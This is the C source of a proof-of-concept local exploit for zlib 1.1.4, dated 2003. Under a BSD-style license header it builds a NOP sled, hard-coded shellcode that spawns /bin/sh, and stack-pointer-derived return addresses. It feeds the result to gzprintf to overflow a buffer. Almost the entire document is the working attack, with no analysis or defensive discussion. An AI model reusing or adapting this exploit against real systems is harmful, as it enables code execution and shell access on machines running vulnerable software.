/* * zlib 1.1.4 local exploit - proof of concept * * Copyright (c) 2003 Angelo Dell'Aera * * For compiling: * gcc -static -o zlib-exploit zlib-exploit.c -lz * * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include #include #include #define NOP 0x90 #define DEFAULT_OFFSET 3000 #define DEFAULT_BUFFER_SIZE 5000 char shellcode[] = "\x6a\x0b\x58\x99\x52\x68\x6e\x2f\x73\x68" "\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89" "\xe1\xcd\x80"; unsigned long get_sp() { unsigned long esp; __asm__("mov %%esp,%0" : "=m" (esp)); return esp; } int main(int argc, char **argv) { unsigned char *buffer; unsigned long *addr_ptr; unsigned char *ptr; unsigned char *bof; unsigned long address; unsigned long offset = DEFAULT_OFFSET; size_t buffer_size = DEFAULT_BUFFER_SIZE; gzFile dummy; int i; if (argc > 1) offset = atoi(argv[1]); if (argc > 2) buffer_size = atoi(argv[2]); address = get_sp() - offset; if (!(buffer = (unsigned char *)malloc(buffer_size))) { perror("malloc"); exit(0); } if (!(dummy = gzopen("/dev/null", "w"))) { perror("gzopen"); exit(0); } addr_ptr = (unsigned long *)buffer; bof = buffer; printf("Using address : 0x%x.....\n", address); for(i = 0; i < buffer_size ; i += 4) *(addr_ptr++) = address; for(i = 0; i < (buffer_size/2); i++) buffer[i] = NOP; ptr = buffer + (buffer_size/2) - strlen(shellcode); for(i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; gzprintf(dummy, "%s", bof); gzclose(dummy); exit(0); }